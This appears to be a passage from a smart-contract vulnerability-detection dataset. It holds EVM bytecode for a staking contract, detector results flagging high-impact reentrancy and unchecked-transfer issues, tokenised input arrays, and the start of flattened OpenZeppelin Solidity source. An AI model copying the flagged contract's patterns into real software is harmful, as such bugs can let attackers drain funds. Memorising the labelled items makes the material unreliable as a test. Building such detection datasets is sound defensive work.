0x608060405234801561001057600080fd5b50600436106101b75760003560e01c80635a1b1dc7116100f9578063cd3daf9d11610097578063eacdc5ff11610071578063eacdc5ff146104e4578063ecd9ba82146104ec578063f2db11af14610524578063f8c8765e1461055d576101b7565b8063cd3daf9d146104cc578063d1af0c7d146104d4578063e9fad8ee146104dc576101b7565b806372f702f3116100d357806372f702f31461046657806380faa57d1461046e5780639836486114610476578063a694fc3a146104af576101b7565b80635a1b1dc7146103325780636e821b2e146103de57806370a0823114610433576101b7565b80631c1f78eb116101665780633d18b912116101405780633d18b912146102e75780633f2a5540146102ef5780633f782945146102f7578063453f596d146102ff576101b7565b80631c1f78eb1461029157806325e22370146102995780632e1a7d4d146102ca576101b7565b8063158ef93e11610197578063158ef93e1461026557806318160ddd14610281578063190bf3c314610289576101b7565b80628cc262146101bc578062a47ddd1461020157806306e328201461023a575b600080fd5b6101ef600480360360208110156101d257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166105a8565b60408051918252519081900360200190f35b6101ef6004803603604081101561021757600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff166105be565b6102636004803603606081101561025057600080fd5b50803590602081013590604001356105db565b005b61026d610905565b604080519115158252519081900360200190f35b6101ef61090e565b610263610920565b6101ef6109d6565b6102a1610a58565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610263600480360360208110156102e057600080fd5b5035610a74565b610263610c64565b6102a1610db6565b610263610dd2565b6101ef6004803603602081101561031557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f8c565b6102636004803603604081101561034857600080fd5b81351515919081019060408101602082013564010000000081111561036c57600080fd5b82018360208201111561037e57600080fd5b803590602001918460208302840111640100000000831117156103a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f9e945050505050565b6103fb600480360360208110156103f457600080fd5b50356110d5565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6101ef6004803603602081101561044957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611117565b6102a1611125565b6101ef611141565b6101ef6004803603604081101561048c57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff1661114e565b610263600480360360208110156104c557600080fd5b5035611185565b6101ef611236565b6102a1611247565b610263611268565b6101ef61129f565b610263600480360360a081101561050257600080fd5b5080359060208101359060ff60408201351690606081013590608001356112a5565b6101ef6004803603604081101561053a57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff1661140f565b6102636004803603608081101561057357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101358216916040820135811691606001351661142c565b60006105b6600a548361155f565b90505b919050565b600660209081526000928352604080842090915290825290205481565b6002600054141561064d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260005560035473ffffffffffffffffffffffffffffffffffffffff1633146106d857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f6e6c792072657761726420646973747269627572656420616c6c6f7765642e604482015290519081900360640190fd5b4282101561074757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f50726f7669646564207374617274206461746520746f6f206c6174652e000000604482015290519081900360640190fd5b8181116107b557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f57726f6e6720656e6420646174652065706f63682e0000000000000000000000604482015290519081900360640190fd5b6000831161082457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f57726f6e672072657761726420616d6f756e7400000000000000000000000000604482015290519081900360640190fd5b81810361082f6120f9565b600a805460010190819055815260408101849052606081018390526108548583611616565b608080830191825260a08301868152835160009081526005602081815260409283902087518082558289015160018301558489015160028301556060808a015160038401559751600483015594519281019290925560c08701516006909201919091558151928352820188905281810187905292810188905291517f175f79ae496002a3738426612f8056d905d5ca4b403e9c7ba00a030f5901d2699281900390910190a150506001600055505050565b60015460ff1681565b600061091b600a54611658565b905090565b336000818152600960205260409020549061093b908261166d565b600081815260086020908152604080832033845282528083208054908490558484526005909252909120600101546109739082611723565b6000838152600560209081526040808320600101939093556007808252838320338085529083528484208054600a80548752938552868620838752855286862055908452839055546009909152918120919091556109d2908290611765565b5050565b60006109e06120f9565b50600a54600090815260056020818152604092839020835160e0810185528154815260018201549281019290925260028101549382018490526003810154606083018190526004820154608084018190529382015460a084015260069091015460c08301529092610a5292910361194d565b91505090565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60026000541415610ae657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600090815533808252600960205260409091205481610b065750600a545b610b10828261166d565b60008311610b7f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f43616e6e6f742077697468647261772030000000000000000000000000000000604482015290519081900360640190fd5b33600090815260096020908152604080832054808452600590925290912060010154610bab9085611723565b6000828152600560209081526040808320600101939093556008815282822033835290522054610bdb9085611723565b600082815260086020908152604080832033808552925290912091909155600254610c1f9173ffffffffffffffffffffffffffffffffffffffff90911690866119c0565b6040805185815260208101839052815133927f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc6928290030190a2505060016000555050565b60026000541415610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600090815533808252600960205260409091205481610cf65750600a545b610d00828261166d565b3360008181526009602090815260408083205480845260078352818420948452939091529020548015610dab576000828152600760209081526040808320338085529252822091909155600154610d749161010090910473ffffffffffffffffffffffffffffffffffffffff1690836119c0565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505060016000555050565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b60045473ffffffffffffffffffffffffffffffffffffffff163314610e42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121376021913960400191505060405180910390fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523360048201819052915161010090930473ffffffffffffffffffffffffffffffffffffffff169263a9059cbb929184916370a0823191602480820192602092909190829003018186803b158015610ec257600080fd5b505afa158015610ed6573d6000803e3d6000fd5b505050506040513d6020811015610eec57600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff909316600484015260248301919091525160448083019260209291908290030181600087803b158015610f6257600080fd5b505af1158015610f76573d6000803e3d6000fd5b505050506040513d60208110156109d257600080fd5b60096020526000908152604090205481565b337395db09ff2644eca19cb4b99318483254bfd52dae1461102057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f776564000000000000000000000000000000000000000000604482015290519081900360640190fd5b81156110a75760005b81518110156110905760076000600a548152602001908152602001600020600083838151811061105557fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff168252810191909152604001600090812055600101611029565b50600a546000908152600560205260408120600601555b5050600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001681179055565b60056020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050154908060060154905087565b60006105b6600a548361114e565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b600061091b600a54611a52565b600082815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff851684529091529020545b92915050565b600260005414156111f757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000908155338082526009602052604090912054816112175750600a545b611221828261166d565b61122c836001611765565b5050600160005550565b6000611243600a54611a9b565b5090565b600154610100900473ffffffffffffffffffffffffffffffffffffffff1681565b33600081815260096020908152604080832054835260088252808320938352929052205461129590610a74565b61129d610c64565b565b600a5481565b6002600054141561131757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000908155338082526009602052604090912054816113375750600a545b611341828261166d565b600254604080517fd505accf000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018a90526064810189905260ff8816608482015260a4810187905260c48101869052905173ffffffffffffffffffffffffffffffffffffffff9092169163d505accf9160e48082019260009290919082900301818387803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b50505050611401876001611765565b505060016000555050505050565b600760209081526000928352604080842090915290825290205481565b60015460ff161561149e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f436f6e747261637420616c726561647920696e697469616c697a65642e000000604482015290519081900360640190fd5b60018054600280547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff958616179091556003805482169685169690961790955560048054909516958316959095179093557fffffffffffffffffffffff0000000000000000000000000000000000000000ff9093166101009190931602919091177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001681179055565b600082815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168085529083528184205486855260068452828520918552925282205461160f919061160990670de0b6b3a764000090611603906115cd906115c78a611a9b565b90611723565b600089815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff8c1684529091529020549061194d565b90611616565b90611b74565b9392505050565b600061160f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611be8565b60009081526005602052604090206001015490565b61167681611a9b565b60008281526005602052604090206006015561169181611a52565b6000828152600560208190526040909120015573ffffffffffffffffffffffffffffffffffffffff8216156109d2576116ca818361155f565b600082815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083528184209490945584835260058252808320600690810154908352818420948452939091529020555050565b600061160f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca4565b600082116117d457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b600a54336000908152600960205260409020541480611800575033600090815260096020526040902054155b611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061217e6025913960400191505060405180910390fd5b600a546000908152600560205260409020600101546118749083611b74565b600a8054600090815260056020908152604080832060010194909455915481526008825282812033825290915220546118ad9083611b74565b600a54600090815260086020908152604080832033845290915290205580156118f5576002546118f59073ffffffffffffffffffffffffffffffffffffffff16333085611d18565b600a5433600081815260096020908152604091829020849055815186815290810193909352805191927f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee90929081900390910190a25050565b60008261195c5750600061117f565b8282028284828161196957fe5b041461160f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121a36021913960400191505060405180910390fd5b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052611a4d908490611db3565b505050565b6000811580611a71575060008281526005602052604090206002015442105b15611a7e575060006105b9565b6000828152600560205260409020600301546105b6904290611e8b565b6000611aa56120f9565b50600082815260056020818152604092839020835160e0810185528154815260018201549281019290925260028101549382019390935260038301546060820152600483015460808201529082015460a082015260069091015460c0820152821580611b145750806040015142105b15611b235760009150506105b9565b6020810151611b375760c0015190506105b9565b61160f611b6d8260200151611603670de0b6b3a7640000611b678660800151611b678860a001516115c78c611a52565b9061194d565b60c0830151905b60008282018381101561160f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008183611c8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c53578181015183820152602001611c3b565b50505050905090810190601f168015611c805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611c9a57fe5b0495945050505050565b60008184841115611d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611c53578181015183820152602001611c3b565b505050900390565b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052611dad908590611db3565b50505050565b6060611e15826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611ea19092919063ffffffff16565b805190915015611a4d57808060200190516020811015611e3457600080fd5b5051611a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806121c4602a913960400191505060405180910390fd5b6000818310611e9a578161160f565b5090919050565b6060611eb08484600085611eb8565b949350505050565b606082471015611f13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121586026913960400191505060405180910390fd5b611f1c85612073565b611f8757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611ff157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611fb4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612053576040519150601f19603f3d011682016040523d82523d6000602084013e612058565b606091505b5091509150612068828286612079565b979650505050505050565b3b151590565b6060831561208857508161160f565b8251156120985782518084602001fd5b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152845160248401528451859391928392604401919085019080838360008315611c53578181015183820152602001611c3b565b6040518060e0016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152509056fe4f6e6c792065787465726e616c20636f6e74726f6c6c657220616c6c6f7765642e416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4163636f756e742073686f756c64207570646174652065706f636820746f207374616b652e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212205d86b00e4127394a593123505a603f07fc9e32245888720e616e6a91a4e2e68864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 2050, 26187, 2620, 2620, 2278, 2475, 19797, 8270, 2497, 2094, 2620, 2487, 2497, 21084, 2278, 28756, 15136, 2050, 2692, 2629, 2497, 22394, 2575, 2063, 2581, 2575, 2497, 2094, 2509, 1013, 1013, 24394, 5371, 1024, 8311, 1013, 8860, 1013, 8785, 1012, 14017, 1013, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1037, 3075, 2005, 4488, 2536, 8785, 3136, 3075, 8785, 1063, 3853, 8117, 1006, 21318, 3372, 1060, 1010, 21318, 3372, 1061, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1062, 1007, 1063, 1062, 1027, 1060, 1026, 1061, 1029, 1060, 1024, 1061, 1025, 1065, 1013, 1013, 26990, 4118, 1006, 16770, 1024, 1013, 1013, 4372, 1012, 16948, 1012, 8917, 1013, 15536, 3211, 1013, 4725, 1035, 1997, 1035, 9798, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,069
0x962A71BB0d2bB118fbE021E320f58C8F9236A700
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.6.2; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transfered from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.6.2; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity ^0.6.2; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.6.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) 